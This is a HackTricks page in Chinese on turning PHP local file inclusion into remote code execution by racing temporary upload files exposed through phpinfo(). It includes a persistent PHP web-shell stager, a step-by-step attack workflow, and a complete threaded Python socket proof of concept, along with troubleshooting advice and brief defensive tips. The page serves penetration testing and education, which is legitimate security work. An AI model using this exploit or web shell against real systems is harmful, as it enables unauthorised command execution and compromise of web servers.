LFI to RCE via PHPInfo

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

要利用此技术,你需要满足以下所有条件:

  • 一个可访问的页面,能够输出 phpinfo() 的内容。
  • 一个你可控的 Local File Inclusion (LFI) 原语(例如基于用户输入的 include/require)。
  • PHP 文件上传已启用 (file_uploads = On)。任何 PHP 脚本都会接受 RFC1867 multipart 上传,并为每个上传部分创建一个临时文件。
  • PHP 进程必须能够写入配置的 upload_tmp_dir(或默认系统临时目录),并且你的 LFI 必须能够包含该路径。

经典 write-up 与原始 PoC:

  • 白皮书:LFI with PHPInfo() Assistance (B. Moore, 2011)
  • 原始 PoC 脚本名:phpinfolfi.py(参见白皮书和镜像)

教程(HTB):https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

关于原始 PoC 的说明

  • phpinfo() 的输出是 HTML 编码的,因此 “=>” 箭头经常显示为 “=>”。如果你重用旧的脚本,确保在解析 _FILES[tmp_name] 值时同时搜索这两种编码。
  • 你必须调整 payload(你的 PHP 代码)、REQ1(对 phpinfo() 端点的请求,包括填充)和 LFIREQ(发往你的 LFI sink 的请求)。某些目标不需要 null-byte (%00) 终止符,且现代 PHP 版本可能不再支持它。根据易受攻击的 sink 相应调整 LFIREQ。

示例 sed(仅当你确实使用旧的 Python2 PoC 时)用于匹配 HTML 编码的箭头:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

理论

  • 当 PHP 接收到包含文件字段的 multipart/form-data POST 时,它会把内容写入一个临时文件(upload_tmp_dir 或操作系统默认位置),并在 $_FILES[‘’][‘tmp_name’] 中暴露该路径。除非被移动/重命名,否则该文件会在请求结束时自动删除。
  • 关键是获取临时文件名,并在 PHP 清理之前通过你的 LFI 将其包含。phpinfo() 会打印 $_FILES,包括 tmp_name。
  • 通过膨胀请求头/参数(padding),可以使 phpinfo() 输出的前面部分在请求完成前被刷新到客户端,这样你就能在临时文件仍存在时读取 tmp_name,然后立即用该路径触发 LFI。

在 Windows 中临时文件通常位于类似 C:\Windows\Temp\php*.tmp 的位置。在 Linux/Unix 中通常在 /tmp,或在 upload_tmp_dir 中配置的目录。

phpinfo() 中在 racing 之前需要验证的项

在发送大量请求之前,提取那些决定 race 是否现实的值:

  • file_uploads: 必须为 On
  • upload_tmp_dir: 如果设置了,这就是你的 LFI 必须能包含的目录。如果为空,则使用系统默认临时目录。
  • open_basedir: 如果启用,你的易受攻击的 include 路径仍然需要能够访问 tmp_name 中显示的临时目录。
  • output_buffering: 4096 是常见/默认大小,这也是许多 PoC 以 4KB 块读取的原因,但该值可能不同。
  • zlib.output_compressionoutput_handler 以及任何框架级别的缓冲:这些都会降低尽早看到 tmp_name 的几率。
  • Server API: 有助于判断 PHP 与你之间可能存在多少缓冲(apache2handler 通常比在反向代理后面的 fpm-fcgi 更容易判断)。

如果页面没有显示 $_FILES,请确保你确实发送了包含实际文件部分的 multipart/form-data 请求。PHP 仅为被解析的上传字段填充 tmp_name

攻击工作流程(逐步)

  1. 准备一个小型 PHP payload,快速持久化一个 shell 以避免在 race 中失败(写文件通常比等待 reverse shell 更快):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. 直接向 phpinfo() 页面发送一个大体积的 multipart POST,使其创建包含你的 payload 的临时文件。用约 5–10KB 的填充扩展各类 headers/cookies/params 以促使提前输出。确保表单字段名与将要在 $_FILES 中解析的名称相匹配。

  2. 在 phpinfo() 响应仍在流式传输时,解析部分 body 以提取 $_FILES[‘’][‘tmp_name’] (HTML-encoded)。一旦得到完整的绝对路径(例如 /tmp/php3Fz9aB),就触发你的 LFI 以包含该路径。如果 include() 在临时文件被删除之前执行该文件,你的 payload 就会运行并写入 /tmp/.p.php。

  3. 使用写入的文件:GET /vuln.php?include=/tmp/.p.php&x=id (or wherever your LFI lets you include it) 来可靠地执行命令。

提示

  • 使用多个并发 workers 来提高赢得 race 的机会。
  • 常见有助于填充的位置:URL parameter, Cookie, User-Agent, Accept-Language, Pragma。针对目标进行调整。
  • 如果易受攻击的 sink 会追加扩展名(例如 .php),你不需要 null byte;include() 将会执行 PHP,而不论临时文件的扩展名。

Minimal Python 3 PoC (socket-based)

下面的代码片段聚焦于关键部分,比旧的 Python2 脚本更易于适配。请自定义 HOST、PHPSCRIPT(phpinfo endpoint)、LFIPATH(path to the LFI sink)和 PAYLOAD。

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

故障排查

  • 你从未看到 tmp_name:确保你确实以 multipart/form-data POST 到 phpinfo()。phpinfo() 仅在存在上传字段时打印 $_FILES。
  • tmp_name 只在响应的最后出现:这通常是缓冲问题,而不是 PHP 版本问题。较大的 output_buffering 值、zlib.output_compression、userland 输出处理器,或 reverse-proxy/FastCGI 缓冲可能会延迟 phpinfo() 主体,直到上传请求几乎完成。
  • 你只在实验室里得到可靠的流式输出,而在真实站点不会:CDN、WAF 或反向代理可能在对上游响应做缓冲。如果对同一应用有多条路由,优先选择最直接的源站路径。
  • 经典的 4096 字节偏移逻辑错过了 leak:把 4096 当作基于常见 output_buffering 默认值的起点,而不是普适常数。递增解析,并在 tmp_name 完整时立即停止。
  • 临时文件被包含但你的 shell 立刻消失:使用一个小的 stager 写入第二个文件,因为上传的临时文件会在原始请求结束时被删除。
  • 输出没有早期 flush:增加填充、添加更多大头部,或发送多个并发请求。有些 SAPIs/缓冲不会在较小阈值时 flush;据此调整。
  • LFI 路径被 open_basedir 或 chroot 阻止:必须把 LFI 指向允许的路径,或切换到不同的 LFI2RCE 向量。
  • 临时目录不是 /tmp:phpinfo() 打印完整绝对 tmp_name 路径;在 LFI 中使用该精确路径。

现代堆栈的实用说明

  • 该技术在现代实验环境中仍可复现;例如 Vulhub 在 PHP 7.2 上保留了一个演示。实际上,成功更取决于输出缓冲和代理行为,而不是 phpinfo() 的特定补丁级别。
  • flush()implicit_flush 仅影响 PHP 自身的输出层。它们不能保证 FastCGI 网关、反向代理、浏览器或中间件会立即释放部分块。
  • 如果目标是 fpm-fcgi 并位于 Nginx/Apache 代理之后,请分层考虑:PHP 缓冲、PHP 输出处理器/压缩、FastCGI 缓冲,然后是代理缓冲。只有当足够多的 phpinfo() 响应在请求关闭删除临时文件之前逃离该链时,竞争才有效。

防御建议

  • 切勿在生产环境暴露 phpinfo()。如有必要,按 IP/认证限制并在使用后移除。
  • 如果不需要,保持 file_uploads 关闭。否则,将 upload_tmp_dir 限制到应用中不可被 include() 访问的路径,并对任何 include/require 路径执行严格验证。
  • 将任何 LFI 视为严重风险;即使没有 phpinfo(),仍存在其他 LFI→RCE 路径。

相关 HackTricks 技术

LFI2RCE Via temp file uploads

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

LFI2RCE via Nginx temp files

LFI2RCE via Eternal waiting

参考资料

  • LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
  • PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
  • PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
  • Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks